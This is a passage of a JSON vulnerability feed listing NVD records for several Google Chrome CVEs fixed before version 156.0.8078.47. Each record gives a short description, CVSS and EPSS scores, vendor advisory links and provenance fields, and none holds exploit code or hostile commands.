fixes.","publishedAt":"2026-10-20T22:19:07.680Z","updatedAt":"2026-10-22T15:26:09.547Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113152","asOf":"2026-10-22T15:26:09.547Z"},"epss":{"probability":0.00426,"percentile":0.3657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113152","type":"primary","publishedAt":"2026-10-20T22:19:07.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113150","cveId":"CVE-2026-113150","aliases":[],"kind":"vulnerability","title":"Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:07.457Z","updatedAt":"2026-10-22T15:32:15.233Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113150","asOf":"2026-10-22T15:32:15.233Z"},"epss":{"probability":0.00417,"percentile":0.35715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113150","type":"primary","publishedAt":"2026-10-20T22:19:07.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113149","cveId":"CVE-2026-113149","aliases":[],"kind":"vulnerability","title":"Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:07.347Z","updatedAt":"2026-10-22T15:32:19.357Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113149","asOf":"2026-10-22T15:32:19.357Z"},"epss":{"probability":0.00417,"percentile":0.3571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113149","type":"primary","publishedAt":"2026-10-20T22:19:07.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113148","cveId":"CVE-2026-113148","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:07.233Z","updatedAt":"2026-10-22T15:32:23.487Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113148","asOf":"2026-10-22T15:32:23.487Z"},"epss":{"probability":0.00468,"percentile":0.40225,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113148","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113148","type":"primary","publishedAt":"2026-10-20T22:19:07.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113147","cveId":"CVE-2026-113147","aliases":[],"kind":"vulnerability","title":"Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in WebShare in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:07.123Z","updatedAt":"2026-10-22T23:18:27.260Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113147","asOf":"2026-10-22T23:18:27.260Z"},"epss":{"probability":0.00514,"percentile":0.43479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113147","type":"primary","publishedAt":"2026-10-20T22:19:07.123Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113146","cveId":"CVE-2026-113146","aliases":[],"kind":"vulnerability","title":"Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:06.993Z","updatedAt":"2026-10-22T23:18:27.113Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113146","asOf":"2026-10-22T23:18:27.113Z"},"epss":{"probability":0.00406,"percentile":0.34609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113146&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113146","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113146","type":"primary","publishedAt":"2026-10-20T22:19:06.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113146&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113146, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113145","cveId":"CVE-2026-113145","aliases":[],"kind":"vulnerability","title":"Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:06.880Z","updatedAt":"2026-10-23T18:34:04.773Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113145","asOf":"2026-10-23T18:34:04.773Z"},"epss":{"probability":0.00452,"percentile":0.39025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113145","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113145","type":"primary","publishedAt":"2026-10-20T22:19:06.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113143","cveId":"CVE-2026-113143","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:06.653Z","updatedAt":"2026-10-22T15:32:31.603Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113143","asOf":"2026-10-22T15:32:31.603Z"},"epss":{"probability":0.00325,"percentile":0.25348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113143","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113143","type":"primary","publishedAt":"2026-10-20T22:19:06.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113141","cveId":"CVE-2026-113141","aliases":[],"kind":"vulnerability","title":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:06.430Z","updatedAt":"2026-10-22T23:18:26.953Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113141","asOf":"2026-10-22T23:18:26.953Z"},"epss":{"probability":0.00406,"percentile":0.34609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113141","type":"primary","publishedAt":"2026-10-20T22:19:06.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113140","cveId":"CVE-2026-113140","aliases":[],"kind":"vulnerability","title":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:06.317Z","updatedAt":"2026-10-21T17:28:25.390Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113140","asOf":"2026-10-21T17:28:25.390Z"},"epss":{"probability":0.00426,"percentile":0.3657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113140&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113140","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113140","type":"primary","publishedAt":"2026-10-20T22:19:06.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113140&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113140, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113137","cveId":"CVE-2026-113137","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:05.977Z","updatedAt":"2026-10-21T16:17:18.217Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113137","asOf":"2026-10-21T16:17:18.217Z"},"epss":{"probability":0.00313,"percentile":0.23941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113137","type":"primary","publishedAt":"2026-10-20T22:19:05.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 